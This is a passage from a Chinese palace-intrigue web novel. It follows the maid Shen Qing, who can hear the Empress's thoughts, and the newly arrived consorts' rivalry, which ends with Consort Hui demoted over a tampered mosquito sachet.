若初入宫不得宠,银钱的重要性便显现出来了。虽然嫔妃有定死的份例,但那点份例只够维持嫔妃的体面,若要吃的好穿的好戴的好,少不得要用银子打点。除此之外,妃嫔的容貌哪个不是靠银子养着,方能时时刻刻容光焕发,不然灰扑扑的,皇上瞧不见,上升的通道便也没了。 刚出景陽宫不久,嫣美人身边的婢女便追了出来。 沈青记得,嫣美人叫她星羅,方才在降萼轩面色便有些不佳,见到她时也只能勉强扯出笑。 像是在她来之前,就已不满,若是个嘴快的,怕是已经和嫣美人抱怨过了。 此番追出来,也定然有嫣美人示意。 沈青站定,看向星羅:“可是嫣美人有什么吩咐?” 星罗摇了摇头,又是往沈青手里塞了十两银子:“奴婢想知道我们姑娘为什么会住进降萼轩,这里不仅宫室小,旁边还长着茂盛的绿植,夏天恐怕会吸引蚊虫。” 沈青翻手将银子收下,不吝指教道:“惠贵嫔娘娘眷顾嫣美人,她身为景阳宫主位,自是想就近照拂。” 沈青看向景阳宫的匾额,那三个字在阳光下熠熠生辉。 星罗的目光也随即望去,她的眼睛被直射的阳光刺到,不由眯起来,看不清臉色如何。 沈青没等星罗多加反应,便带人去了何才人那里。 宁辉堂中,何才人穿着一身青色衣裳,见到沈青过来连忙站了起来,沈青见此,便扶着何才人坐下,给她请安。 然后和在降萼轩一般无二地表达出皇后体贴新妃的意思。 何才人虽然容貌比不上嫣美人,但她只是拘谨笑着便能让人感到舒心。 “若才人有什么不适,尽可找皇后娘娘……” “一定一定。”何才人迫不及待应下,这才想起场面话,“多谢皇后娘娘赏赐,若娘娘不嫌弃,我可以常去陪伴娘娘。” 她不好意思道:“我这里还没来得及泡上茶,怕是不能留你们喝茶了。” 沈青失笑:“奴婢们本就有任务在身,怎么能留下喝茶。奴婢在这里多谢才人美意,也需要先行告退了。” 何才人让人给沈青递了赏银,沈青再次行礼,便从宁辉堂中退了出来。 直到皇后的人不见身影,何才人这才将探着看去的头收回。 她的宫女应春问:“主子这是何意?” 何才人道:“皇后新立不足一年,正是手头缺人的时 候,我若为其效劳,想必也能从后宫嫔妃中脱颖而出。” 皇后身怀有孕,侍奉不了皇上,若肯举荐她,皇上兴许会看在皇后的面子上先翻她的牌子。 届时,她便能领先新妃了。 何才人望着屋内空蕩蕩的模样:“这宁辉堂大是大,可若不放上东西,不免显得空荡荡的。先把皇后送的赏赐摆上吧。” 应春称是,心中欣慰,知道自己跟对了主子。何才人是个有筹算,也有爭的心思的。 进宫若不爭宠,那为什么要进宫,图死水一潭的稳定吗? 回到坤宁宫后,沈青将宫人的那份银子分给他们,便进入殿中向皇后禀报。 “降萼轩的嫣美人眼见着是个聪明的,但她身边从家中带来的宫女星罗似乎对住處有些不满,追出来询问缘由,奴婢向她告知了一二。宁辉堂的何才人,态度十分亲近娘娘。” 皇后思考道:“婢女和主子相處久了,心意就往一处使了,嫣美人想必也有些不满。至于何才人,小官之女,明日请安时倒可以见一见,如果有野心,本宫会用,若只图安稳度日,本宫也不是什么不争气的人都收。” 皇后摸着已经隆起的肚子,眉眼浅淡,意兴阑珊。 沈青敏锐察觉到皇后心态的转变,利用一切可以利用的,虽不至于到不择手段的地步,但和当初当妃子时已经有所不同了。 沈青只能安慰自己,皇后这是为了皇嗣,毕竟为母則刚,但心中却有些许迷茫。 皇后的转变并非没有征兆的,原本皇后最喜欢萱草,喜欢她活泼的性子,但现在,皇后亲近更多的則是她和青玉。 皇后已经不太喜欢天真的人了。 沈青得皇后宠爱,却不骄纵,行事进退有度,说话也体贴人心,不似萱草那般咋咋呼呼的,沈青更多的时候是安静的,更不会与皇后争论什么。 萱草和沈青做事的出发点都是为了皇后好,可皇后更喜欢沈青这种哄人的态度,一切恰到好处,而非萱草模糊了尊卑的过分亲近,明明她有时候都不耐了,萱草还自顾自在笑。 看得人心烦。 七零八碎拼凑出皇后的心声,沈青更茫然了。 她看似进退有度,实则完全依赖于心声,皇后心情好,她便跟着高兴,皇后心情不好,她便不去多嘴,安静地当自己不存在,直到皇后自己调节好,或者顺皇后心意去哄。 萱草不如她,完全是差在金手指这里了。萱草不是没有眼色的,但问题是,皇后现如今已经喜怒不形于色了,这让萱草怎么看臉色行事? 在沈青看来,萱草冤死了,可能到现在也不知道皇后对她有点嫌弃。 至于青玉得看重,则是她一直恭谨待皇后,不论什么时候都没有一丝逾越之处,能力更是加分项,处理六局事务很出彩,省了皇后很大心力。 能干的属下,谁不喜欢? 从殿中退出来,萱草也笑盈盈回来了,她去的是楚贵人的望水阁和鄭才人馥香楼。 虽然皇后隐隐疏离了萱草,但明面上还是看重她的,分给她的也是新妃中的两名贵人之一和皇后暂且属意的郑才人。 沈青朝她笑了笑,目送萱草进入殿中。 她原本想拉住萱草,告知她皇后心情不佳,但按照萱草的性子,她必然会去询问皇后有什么不适,多说多错,只会加重皇后对萱草的厌烦。 于是沈青只得放弃这个方法,去萱草的屋外等着她办完事回来。 萱草和沈青碰面的时候,脸上还是笑盈盈的模样,似乎没受皇后呵责。 沈青仔仔细细将她看了一遍,便放心了,皇后现下即便烦一个人,也不会表现出来,失了底下人的心,更何况她以前还极为喜爱萱草,自不会给萱草没脸。 萱草见到沈青便将沈青搂进怀里了,心里感叹着好柔软,这才松开:“怎么了?” 沈青被萱草拉着进屋:“今日皇后好似有些疲惫。” 萱草后知后觉忧心道:“好像是的,我刚刚怎么没发现呢?皇后有孕虽喜,但实在是辛苦了。” “对!娘娘有孕,想必对一些杂事的耐性降低,我们不如以后禀报精简些,少劳娘娘费神。” 沈青钻到萱草身前:“如何呢?” 既然萱草分辨不出皇后态度,不如就少说,若后来皇后对萱草的态度再有变化,她就如法炮制,打着为皇后好的旗号,让萱草紧跟着改变。 山不来就我,我便来就山。 皇后无法改变,那就让萱草体贴些。 萱草格外认同:“娘娘总觉得困乏,想是觉没睡够,我们实在不该烦娘娘。” 沈青瞬间笑起来,眉头舒展。她自是极不愿意萱草被皇后疏远的,萱草能这样行事最好。 不过在心中,沈青冷酷且傲娇回应萱草,不,只有你。 第33章 第33章宫女三十三日 新妃入宫第二天按照惯例需要去向皇后请安,皇后在嫔妃来给她请安这天穿了一件宽松的凤袍,头戴一对凤钗,臉上只化了一个淡妆。 卯时中,晨曦破晓,请安的嫔妃已经来了七七八八,皇后这才出现,落座到最上的宝座。 嫔妃站起来,给皇后行礼,室內的目光均落到了皇后身上。 皇后似乎没有察覺,神情如常,唇边含笑,雍容娴雅。 当了半年的皇后,也给她身上镀了一层威严感,养出了皇室般尊貴气度。 新妃因为是第一次请安,或多或少都有些紧张,有些人眼下还泛着淡淡青色,想来是没睡好,目光看过皇后之后便没乱瞟。宫里的老人則在皇后腹部一扫而过,这才关注起新人。 玉嫔的目光落到嫣美人身上,这样一个尤物,很难不讓她生出防范之心。 兰婕妤目視前方,对这一室美人視若无睹,她冰冷的態度无形中将她和其他妃嫔隔阂开。 有心的嫔妃則看向室內属于德妃的位置,正空着,偏偏落在皇后下首,皇后想不注意都难。 鄭才人不解,便小声问请安时与她同路的周才人,周才人是三年前进宫的嫔妃,对宫中十分了解。 周才人亦有心和新妃搭上话,便道:“那是德妃娘娘的位置,听说身子不適,已经許久没来坤寧宫请安了。你瞧,德妃的位置上都落灰了。” 椅子落灰是周才人的形象比喻,坤寧宫的宫人又不是不干活,怎么可能放任灰尘不管。 鄭才人的眼睛快速眨了眨:“原来如此。” 看起来,德妃的气焰比皇后还要嚣张,人家不情愿就可以不来请安,至于身子不適,那都是糊弄人的话。 不然她在储秀宫和李美人相交时,怎么没听到李美人担忧此事?李美人是德妃堂妹,又与德妃同住一宫,关系如此亲近,没道理她会不知道德妃的身体状况。 鄭才人的目光往周围逡巡了一圈,李美人好似也没来请安。 意識到这,她微微张大了嘴巴,如果都这样了,皇后还不收拾德妃——即便收拾不了,还有李美人这个软柿子啊。那么皇后在宫中的地位真要讓人浮想联翩了。 皇后坐在最上首,自然看清了全貌,李美人没有到,却是在她的意料之外。 【也罢,今日的目的是把后宫的水搅浑,挑起后妃争宠的心,讓她们不要把目光放到本宫肚子上。】 【德妃和李美人现下不要紧,待腾出手来,德妃有李美人这个软肋,也不足为惧。】 宫人开始给妃嫔们上茶,沈青选了个不引人注意的位置站在那儿,恰好可以将郑才人和何才人的神態动作收入眼底。 两人一进坤寧宫,属于她们的考校就开始了,谁更值得培养更值得倾注资源,就看今日了。 皇后启唇,开始勉励新妃,不外乎夸她们年轻貌美,皇上正喜好这般的女子,希望她们给后宫带来新气象。当然,她也不忘宫内的老人,让她们加把劲儿,更以高位嫔妃空位多诱之。 一番话下来,众嫔妃都心热起来,一改浅笑模样。 皇后见状,满意微笑,看向宣貴人和楚貴人:“你们二人是新妃中位份最高的,皇上也都记得你们,如此,合该给新妃起个榜样作 用,好好侍奉皇上,给皇上开枝散叶。” 宣贵人和楚贵人站起来行礼称是。 众嫔妃的目光微妙落到她们身上。 沈青听到郑才人切了一声,小声嘟囔:“一步领先又不意味着步步领先。”但到底已经对两名贵人幽怨上了几分。 沈青抿了抿唇,领会到皇后这是要四处点火,将新妃们高高捧起,以此来保腹中皇嗣的安全。 果然,只听皇后下一句便指向了嫣美人。 “嫣美人的容貌果然绝色,这满宫的嫔妃怕是少有人比得上你,怪不得皇上在殿选时见过后对你念念不忘。” 嫣美人感受到含着微妙恶意的目光落到她臉上,不由一僵,不卑不亢道:“皇后谬赞了。” 沈青的眼睛有些黯淡。 这下面坐的嫔妃又不是傻子,总有那么一两个人琢磨出皇后的用意,即便想不到,被这么一捧杀,也会覺出不对,后面怕是会对皇后生出忌惮。 久而久之,只会落入孤立无援的境地。 皇后此时的话由已经落到陈美人身上,陈美人和兰婕妤有些相似,不过一个幽一个冷。 有兰婕妤的恩宠不断在前,陈美人的前程也不会差。 于是皇后就打趣陈美人和兰婕妤,让众人潜意識将她们放在一起。 陈美人早就注意到了兰婕妤,听到皇后的话冲兰婕妤略略颔首,却得到兰婕妤的无视。 皇后调和道:“兰婕妤的脾气向来如此,陈美人不必在意。” 陈美人露出些伤怀:“嫔妾原本以为兰婕妤不喜歡嫔妾,现下听到兰婕妤待谁都如此,不禁为嫔妾方才狭隘的心胸感到愧疚。” 她的声音有一种恰达好处的婉转,这样看来,却又与兰婕妤有些不同了。 在宫中,有自己的特色方能走得更远。 兰婕妤面无表情看向陈美人,她不笑时便显得凶了。 陈美人佯装惊到:“兰婕妤这般看嫔妾,倒像是要吃了嫔妾似的。” 新妃见陈美人的模样毫不意外,她的阴阳怪气仿佛天生一般,半点不憋着自己,且因气質如兰,把人阴阳到说不出话时得意的模样丝毫不显得恶毒。 皇后开口,偏颇陈美人道:“好了,兰婕妤,在宫中大家都是姐妹,陈美人刚入宫,你该让着她才对。” 一句话没说被一唱一和压制的兰婕妤感到很憋闷,于是冷笑一声:“陈美人这般巧舌如簧,家中莫不是玩儿杂耍的?” 区区一美人,居然都要踩到她头上了,当真可恶! 陈美人被質疑家学,不怒反疑道:“兰姐姐没将皇后的话听进耳吗?在坤宁宫都如此无视,那出了坤宁宫……” 何才人在心底默默补上:就更不把皇后放在眼里了。 众人被陈美人的无所畏惧惊得目瞪口呆,兰婕妤更是皱起眉:“皇后,嫔妾无此意,实在是陈美人欺人太甚。” 皇后加重语气:“好了!” 陈美人敛目,仿佛方才的争端不似她挑起的。 徒留兰婕妤的胸膛重重起伏,手更是抓到了桌子边角,才勉强将怒意往肚子里咽。 欺人太甚啊! 她陈美人家世本就低微,又是家中庶出,卑贱到了泥里,不过因为长得好才幸运入宫,若放在宫外,陈家都不配给她提鞋。 兰婕妤許久没受过如此委屈了,高家虽在后宫嫔妃的家族中不甚拔尖,可也是有个侍郎存在的,而陈美人的陈家,不过是个耕读人家,脚上还沾着泥点子,她的父亲,亦不过是个九品小官,连高官的门都登不上。 如今倒出了这么一个宫妃,不说巴结比她品级高的嫔妃吧,好歹别顶撞啊。 兰婕妤沉气于心中,决定这个月给家中去信时授意父亲母亲给陈家挖坑。她拿捏不了陈美人,还收拾不了陈家吗? 沈青眼睁睁看着何才人对陈美人流露出敬佩的眼神,便明白何才人的雄心壮志。 不由莞尔,已经预想到宫中会有的鸡飞狗跳。 如果皇后想搅混水,选何才人再适合不过了。 不过若其他人想要效仿陈美人这般行事,宫中妃嫔也不是吃素的,一个顶撞高位嫔妃的帽子扣下去,喊冤都喊不了。 陈美人好似只想惹怒一下兰婕妤,之后便安静下来。 皇后的颜面被如此作筏子,自然不高兴,唇边的笑容隐去,呵斥了一番陈美人和兰婕妤。 不过经此一事,嫔妃便也不把陈美人和兰婕妤放在一起了,虽然她们气质相仿,但举止上却相差甚远。 此时,有太监传唤道:“德妃娘娘,李美人到——” 德妃携李美人进入坤宁宫,朝皇后草草行了一礼,抬头道:“臣妾来迟了。” 还不等皇后说免礼,便坐到了位置上。 【狗脾气。】 李美人跟在德妃身侧,一身水蓝色宫装,并未夺了德妃的风头,她则是朝皇后请罪道:“嫔妾今早起的晚了,这才连累德妃娘娘陪嫔妾晚到,嫔妾有罪,请皇后娘娘责罚。” 【李美人倒替德妃周全。】 以皇后宽宥的形象,自然不会责罚李美人,让她请起入座后便没为难她。 而沈青盯梢着郑才人和何才人,眼见着郑才人见到德妃眼前一亮,对李美人流露出羡慕的情绪,便知道她想差了。 郑才人或许是以为,皇后不敢得罪德妃,德妃势大,才不将皇后放在眼里,跟着德妃的李美人也因此得皇后宽待,所以跟着德妃比跟着皇后更有前途。 然而,皇后和德妃不和是因为宿怨,德妃不是皇后自然可以破罐子破摔,但皇后怀有孩子,需要暂时避开德妃,不想不计代价和德妃对上。 若只因为德妃请安来迟就罚德妃,那不是把德妃推向贤妃和太后阵营吗? 如今她们皇后、德妃、贤妃三足并立的局势就很好,相互牵扯,相互防范。 今日德妃亦可以像往常一样不来请安,但不情不愿来了,可见李美人在其中的作用,李美人对德妃重要,那皇后就不会轻举妄动,逼急了德妃。 况且李美人姿态摆的好,何苦罚人家。 请安时间过后,众人离去,沈青目送着郑才人头也不回离开,生怕和坤宁宫牵扯上什么,觉得好笑,便去将此事禀报给了皇后。 皇后卸去钗环,不在意这个墙头草,毕竟她也没投入什么。 “你觉得何才人如何?” 沈青斟酌道:“何才人的野心不小。” 皇后:“那就她了,容貌虽不是皇上喜歡的,但妆发可以往那方面打扮。” 皇上已经有了喜好模板,譬如冷宫里的杜氏,譬如宁嫔,譬如楚贵人,都是清丽明艳的,至于性格则不做要求。 而被皇上赐封号的嫣美人,幺幺绕绕,是个男人都喜欢吧。 皇后的目光落到沈青身上,由于人一直在自己眼皮子底下,又一直本分打扮,长久下来只下意识觉得美。此时只略看一眼,才发现沈青不知何时已生得一身雪肤,明眸流盼间让人不自觉入神,腰肢纤细似乎盈盈一握,胸脯也鼓了起来。 脸庞流畅,五官尚未完全长开,便已形成独具特色的细腻柔情,娇柔妩媚。 但因为沈青时刻垂着眸子,但种娇柔感便少了几分。 可惜,不是皇上喜欢的类型。 皇后失神想到,不免有些遗憾。 沈青纤长浓密的睫毛轻颤,心中打鼓。 第34章 第34章宫女三十四日 对于这个皇后 ,沈青已经有点看不明白了。 若她的模样是皇上喜歡的,皇后就可以毫不留恋将她送走吗?明明最初她到皇后身边,皇后是关心爱护着每一个宫人的。 短短几个月,竟叫沈青感到物是人非的荒谬。 或许早在小柱子“畏罪自杀”时,皇后便已适应环境在慢慢变化,只是那时她还尚未覺察出。 权利腐蚀人心,即便皇后的面孔依旧,唇边的弧度与往日一般无二,也叫人覺得生变。 视线渐渐模糊,皇后的心声仍在耳边回想,沈青的眼瞳失焦。 及至皇后抚摸着肚子,露出慈爱模样,她才如梦初醒般回神。 沈青往皇后身边走了几步:“小皇子可真乖,一点都没鬧腾娘娘。” 皇后孕三个月的反应确实少,除了贪睡,几乎没其他症状。 皇后的笑容真诚了不少:“是个好孩子,知道母后辛苦,不让母后作难。本宫只希望这个皇儿日后能平平安安,无忧无虑。” 现在说让他做太子还为时尚早,若这孩子天赋绝佳,跟他父皇一般,一切都会手到擒来,若这孩子太过平庸,争到最后无非头破血流,这是皇后所不愿看到的。 沈青明白皇后对未出世的皇子仍有一片慈母之心,也露出了微笑。 其实想想心声这东西会把人的陰暗面暴露无余,但从皇后对萱草的行为上来看,皇后是心口不一的,或许她有最坏的想法,但实际做出来的却与心中想的大相径庭。 皇后是一国之母,担负着母仪天下的责任,就注定她会表现出善良正义的一面。 如此,她又怎么能苛责皇后,要皇后满足她的期望呢? 若皇后的心声让自己不舒服,其实现在还有一个极好的去处。 沈青的目光温柔地看向皇后的肚子,那里孕育着一个新的生命,如果听谁的心声不是听,她可能更喜歡听小皇子的心声。 皇子身边不能没有自己人,皇子出生后皇后必会将身边一名信任的大宫女调到皇子身边去,照顾皇子的起居。 沈青的目标逐渐清晰,目光也坚定起来。 从殿内退出来,沈青便親自去了何才人的宁辉苑一趟,告诉她皇上的喜好,让她看着办。 皇后自会向皇上推荐何才人,但这件事得缓缓,等皇后找个合适的时机。 何才人虽然表现地很拘谨,但她其实非常聪明,听懂了沈青的暗示,并留沈青喝了茶,说是弥补昨日没有留茶的遗憾。 沈青没有坐下,站着饮了一口便将茶盏放下:“皇后看重才人,也希望才人能抓住机会。” 何才人捏着手帕:“嫔妾不会辜负皇后的美意。” 沈青闻言便知何才人心中有数。 此事妥了,她不再久留,并推辞了何才人让她的宫人相送她一段路程。 回到坤宁宫宫女住处,沈青坐在铜镜前仔细端详了番她的模样,确实变得有韵味了。 她的母親是个大美女,父亲又是坊间有名的美男子,她长得好看实在太正常了,原本她的五官虽好看,但尚且稚嫩,只会让人觉得这姑娘长的真好。 但现下,不知道是不是长开的缘故,双眸似水顾盼生辉,仿佛眼中藏着小勾子一般。 更别说臉上白到莹润生光,两腮带粉,配以乌发垂垂,安靜下来,当真是非常柔美。 沈青鼓了鼓嘴,铜镜中的美人便活了起来,灵动俏皮,可爱极了。 怪不得皇后那般评价她,大概是因为她在皇后身边面部表情很克制,所以皇后觉得她娇柔,但在萱草面前,她又喜好撒娇,萱草便觉得她很可爱,经常抱抱贴贴。 长得美实在是件令人开心的事,既是上天馈赠,沈青就没有什么好抱怨的,反正皇上不喜欢这般相貌,她便是美若天仙也不会对她下手,那皇后就不会将她送走。 离开皇后沈青是不愿的,当初皇后将她捡回来,哪有说送走就送走的,她是人又不是物件,她私以为,她和皇后是有些情分在的,她对皇后可能还掺杂着点被救赎的依恋。 所以一次又一次将皇后的行为合理化。 沈青还要当她的坤宁宫大宫女,皇子出生她便請命到皇子身边。 入宫前,她与几个弟妹相处过,还是有些面对小孩子的经验。 而皇后的想法似乎只在那天一闪而过,此后再没琢磨那事,这让沈青放心了下来。 那日請安后,坤宁宫便关注着后宫的动向。 新妃入宫,皇上因为朝政繁忙,一连数日都没有翻牌子,直到起了兴致,第一晚也是宿在了晴芳居玉嫔处。 第二日請安时,玉嫔遭受到了嫔妃的目光洗礼。 玉嫔的宿敌兰婕妤没冷声冷气说些让人不高兴的话,大概是因为被陳美人陰阳怕了。 陈美人多数时候都是安安静静的,只有遇到蘭婕妤才会化身阴阳怪,不,或许还有宣贵人。 陳美人在储秀宫的行事已经被众人翻了出来,她当初的几次出声阴阳,都是冲着宣贵人去的。现在发现了蘭婕妤,便将宣贵人抛之脑后了。 众嫔妃不明白陳美人在干什么,但咬不到自己身上,她们乐意看热鬧。 看平日冷若冰霜的蘭婕妤吃瘪。 而兰婕妤就更不明白了,她已经着人教训过陈家并威胁了陈美人,哪知陈美人听到后露出似笑非笑的样子,更起劲儿了,简直匪夷所思。 兰婕妤不在請安时说些看不惯玉嫔的话,玉嫔便更如鱼得水了,任谁都看得出她眉间的乏累春意。 嫔妃拧着手帕,对玉嫔是又嫉又妒。 玉嫔承寵似是皇上来后宫的前兆,之后新妃中楚贵人、嫣美人便被翻了牌子。 嫣美人承寵第二日,皇上便晋了嫣美人为贵人,賞賜如流水般进入降萼軒,皇后听闻,也给嫣贵人送了賞賜。 昨日还让人羡慕得了皇上赏赐的楚贵人,今日一对比嫣贵人又是升位份,又是赏赐的态度,就让人倍感心酸了。 沈青听到消息的时候,才明白过来皇上那日为什么要说新妃中贵人名额太多,将人家改成了美人,合着是玩儿这一套啊。 心真脏! 抠门! 再之后,嫣贵人连着承寵两日,皇上宿在乾清宫几日,在这期间,也来找皇后用过膳,用膳后的第二日,皇上便翻了何才人的绿头牌。 一时之间,不起眼的何才人映入众人眼帘。 高位嫔妃消息灵通,知道些什么,深知其情况的郑才人则要将帕子撕烂了,她这几日登门拜访德妃,都被德妃不咸不淡拦了回来。 等到在御花园遇见楚贵人与李美人相伴赏花,郑才人这才明白,以她的姿容,做个棋子德妃都嫌不顺手。 这时她再想转向皇后,皇后也必不可能收她了。 之后陆陆续续有嫔妃受宠,但最受宠的还要属嫣贵人和楚贵人,连玉嫔都差她俩一筹,再之后便是兰婕妤陈美人和何才人之流。 玉嫔一个嫔被两个贵人压了,心里很不如意,便牟足了劲儿争宠固宠。 恰好皇上进后宫是四五月,御花园的花都开了,大家逛御花园,摩擦便必不可少,后宫吵吵闹闹,连请安时都热闹起来了。 六月的时候,皇后的肚子明显隆起,便做主将每日请安改成五日一次。 嫔妃欢喜之余,有些人感叹着皇后的谨慎。 嫣贵人如日中天,却因住在景阳宫,虽皇后免了请安,但她每日也需向主位惠贵嫔请安。 这日,嫣贵人带着星罗给惠贵嫔请安完毕,回降萼軒的路上察觉身上的玉佩掉了,因是圣上御赐之物,当下就折回去寻找,等走到惠贵嫔殿外,便听见里面的人低声说着些什么狐媚子,不安分,勾引之类的。 虽未点名道姓,可任谁都知道说的是她嫣贵人。 星罗担忧地看了眼自家姑娘,若非身份受限,她真想进去撕了贱人的嘴,让她胡咧咧。 嫣贵人神色淡淡,也不再寻玉佩了,带着星罗回到降萼軒。 她躺到床上休息了一会儿,才低声道:“若是母亲知道惠贵嫔的品行,定不会怪女儿。” 她入宫后没受过惠贵嫔丁点帮扶,有时还被惠贵 嫔将皇上截去。 能入宫的都不丑,惠贵嫔打扮一下,还是能惊艳人的。 因为母亲那边的关系,嫣贵人有些时候还得善解人意劝皇上过去。 降萼轩住着不舒服,同样以美人的位份入宫,还没有封号的陈美人,住的绮梦阁,都比她这里好很多。 嫣贵人让星罗进来,吩咐了她几句。 没几天,嫣贵人被蚊虫叮咬的满身是包的消息传了出来,皇上为她传了御医,嫣贵人也向皇后告了假。 皇后现在不大喜欢掺和后宫的事,她肚子渐大,行动不便,于是便派沈青去查看嫣美人的情况。 沈青到降萼轩时,嫣美人正蒙在被子里哭得梨花带雨,不让皇上看她的臉。 降萼轩中,站着惠贵嫔与同宫的兰婕妤,包括她们的贴身宫人,屋内,狭小到没有落脚的地方。 跟在皇上身边的是钱全忠,此时他的徒弟正在降萼轩外面问话。 降萼轩中,星罗也哭哭啼啼将事情道来。 原来是降萼轩边栽种有绿植,夏天一到,枝叶茂盛,便会吸引蚊虫。嫣贵人想要让人将这些绿植挪走,但被惠贵嫔的人拦了下来,说惠贵嫔喜爱这种草,不能挪,若蚊子多,便戴上驱蚊的香囊,忍一忍又如何。 星罗愤慨地将惠贵嫔身边宫人说话的语气模仿出来。 惠贵嫔脸色一黑。 星罗便紧接着说嫣贵人带了惠贵嫔相赠的香囊,便遭了蚊虫叮咬,脸上被盯了两个包,胳膊上手上也有五六个。 嫣贵人从被子中露出一双被泪水洗过的眼睛:“本没什么大事,过几天痕迹消了便好,宫人不懂事,将皇上请来了。” 沈青看出来嫣贵人没什么事,这一出完全是夸大其实,仗着恩宠玩儿的一个小把戏,并点出对住处的不满意和惠贵嫔的苛待。 果然,嫣贵人将脸庞露出来,就脸颊上有两个粉红的包,皇上查看她的胳膊,但见白皙的臂膀上错落着扎眼的红包。 对于绝色美人来说,这点瑕疵确实值得小题大做一番。 惠贵嫔对嫣贵人翻着白眼。 嫣贵人顿时一抖,紀宸顺着她的目光看去,惠贵嫔仓惶收了神情,但殿内众人仍是能感受到皇上的不悦。 紀宸见到惠贵嫔身后的沈青:“皇后的人来了,怎么不通禀一声?” 沈青不卑不亢道:“奴婢参见皇上,奴婢进来时宫人正在回话,不好打搅,请皇上恕罪。” 纪宸:“无罪何需恕。” 纪宸对沈青的印象是性子冷清,细细想来,似乎没见她对自己露过笑,显然是个不喜攀龙附凤的,心中便对她宽容了许多。 实在是个好姑娘。 大抵有些皇帝就喜欢别人对他爱答不理。 纪宸松神,再面对眼前这乌糟糟的一团事心中便不耐起来。 全然忘了嫣贵人住进景阳宫一事他也提前知道,当时便知有这一天,那时他想什么来着? ——若嫣美人被惠贵嫔磋磨了,就可以借此惩处惠贵嫔。 惠贵嫔包庇贤妃的事,他还不曾忘,当时便未卜先知埋了这笔。 第35章 第35章宫女三十五日 嫣贵人忽然呼痒,将众人的注意力重新拉到她身上:“皇上,嫔妾不会破相了吧。” 她捂着臉颊道。 紀宸:“别抓挠,太医已经在为你调配药膏了。” 钱全忠的徒弟钱繼从外面走进来,众人都知这是一桩意外,无非惠贵嫔因其行为会受到责罚。 因此紀宸只照例问了一句:“查得如何?” 钱繼行礼道:“回禀皇上,与星羅所说的一般无二,但嫣贵人能否将惠贵嫔娘娘送与您的香囊借奴才查看一番?” 惠贵嫔叨咕:“那香囊不过宫中统一发放,有什么可查的?” 但她到底有点心虚,因为宫中发的驱蚊香囊是给宫女的,她没将嫣贵人放在眼里,身邊的人亦然,给完不值钱的香囊还把这当成乐子给她说,她听后亦是高兴。 当时有多高兴,惠贵嫔现在就与多懊恼。 嫣贵人和当时受寵的杜婕妤不一样,嫣贵人家世不高,在宫中仰赖的唯有她一人,但杜婕妤就不同了,杜婕妤有寵家世好脾气还冲,住在同一宫惠贵嫔只会当对方不存在。 她对嫣贵人的态度自然就肆意許多,没想到嫣贵人也不是泥捏的。 钱繼像是没听到一般看向嫣贵人。 嫣贵人示意星羅将香囊找出来递给钱繼。 星罗依言行事。 待香囊被拿出来,钱继还在仔细查看,蘭婕妤一眼看出香囊制式不由眼露嘲讽,惠贵嫔真是拿嫣贵人当宫女,她以为如嫣贵人那般的受寵,满宫能有多少人经历过? 只要不作死,位份爬到惠贵嫔上面是迟早的事。 钱继检查完后,臉色一顿:“回皇上,这里面多了一味让伤口长久不好,易生疤的药粉,其余都是具备驱蚊效果的草药。” 嫣贵人和星罗顿时臉色难看,为了显得凄惨些,她们特意捕了蚊子叮咬出明显的包,现在却告诉她,她已经遭人算计了,有破相风险? 她不能接受! 嫣贵人现在完全真情实感了起来。 惠贵嫔呵斥道:“只简单看了一眼如何能断定?况且这香囊臣妾没有经手,里面多的東西也绝非臣妾授意的。” 她后半句话是对皇上说的,说着说着就已经跪了下去。 平日针对受宠嫔妃和给受宠嫔妃下药可不是相同程度的事,后者罪名那可就大了。 钱继回答道:“再拿一个相同香囊对比一下即可。” 沈青闻言,将自己的驱蚊香囊拿了出来:“皇上,钱继公公,奴婢这里有。” 得紀宸默許,她将香囊捧给了钱继。 沈青作为皇后的大宫女,在宫中位同女官,她用的香囊单从外面的刺绣便比普通宫人的精致许多,不过里面東西是一样的,她因为喜欢香囊的味道,便一直携带着。 此番拿出来,不过想戳破惠贵嫔把宫人用的东西给了嫣贵人。 这里恐怕除了皇上都心里有數。 果然,两个香囊放在一起,纪宸的眼神终于变了,他作为皇帝,最恨的大概就是旁人不喜他所喜的,他要宠嫣贵人,惠贵嫔就针对折辱嫣贵人,岂不把自己这个皇帝放在眼里? 钱继将两个香囊中的东西倒进托盘里。 沈青的香囊中就是些艾叶紫苏与其他不知名东西的碎屑,嫣贵人的香囊中,其他的都与沈青的一样,除了附在药材上的白色粉末。 嫣贵人哭过一遍后,当即把矛头对准了惠贵嫔:“自从妹妹入宫以来,自问对惠姐姐毕恭毕敬,即便姐姐要与妹妹抢皇上,妹妹也不敢有絲毫怨言,但贵嫔娘娘缘何要害嫔妾?” “嫔妾只有这张脸能看得过去了,贵嫔娘娘作为主位娘娘,为何不宽容大度些,就非要把嫔妾往死路上逼吗?” 嫣贵人的话说得诛心,蘭婕妤却认同点了点头,宫里的女人在没有子嗣前不就活这张脸吗? 脸没了,君恩就淡薄,她们这个皇上最是冷心了,之前多么宠一个人,过一段时间就全然将人抛之脑后了。 杜氏是,玉嫔是,她也是。 如今她都要數着皇上一个月能来她织云殿几次,降萼轩如今熱闹,就是不知能维持多久。 惠贵嫔听到后反唇相讥:“嫣贵人在没有证据证明是本宫做的,就不要过早盖棺定论,这罪名太大,本宫可受不起。” 嫣贵人哭哭啼啼去扯纪宸的袖子:“皇上你看她。” 这就是受宠,有皇上做主的好处,而非惠贵嫔那般竭力为自己分辩。 兰婕妤觉得嫣贵人的举动刺眼的很,惠贵嫔何尝不是,这个小贱人。 纪宸则看向钱继。 钱继道:“这香囊確实是惠贵嫔的宫人交给嫣贵人身边的星罗的,当时那一幕兰婕妤殿中的人也见到了。” 能下手的只有惠贵嫔的宫人和嫣贵人身邊的星罗。 鉴于嫣贵人是受害者,种种证据迹象都指向 惠贵嫔。 惠贵嫔百口莫辩。 最终,纪宸以惠贵嫔对待嫔妃专横的理由,将惠贵嫔将为嫔,褫夺封号,变为林嫔,从景阳宫正殿迁到偏殿中,嫣贵人无辜被害,迁宫到永和宫西偏殿怡和殿中,并从贵人升为婕妤,赏赐若干。 嫣婕妤一跃成为新妃中升位最快位份最高的人,宫妃中除颜贤妃外升位最快的嫔妃。 当初杜氏都没有她这种势头。 颜贤妃则因为太后的关系,两年内升到修仪,三年内升到贤妃。 从降萼轩出来,因坤宁宫和乾清宫距离很近,沈青便随着圣驾一同走。 于是她听到钱全忠问皇上:“今年底下进贡的金创玉髓膏可要给嫣婕妤送些?” 纪宸乘坐着龙辇,叫人看不到他的姿态和表情,但声音很放松:“不必,她身邊有太医。另外……在嫣婕妤伤好之前,不要上她的绿头牌。” 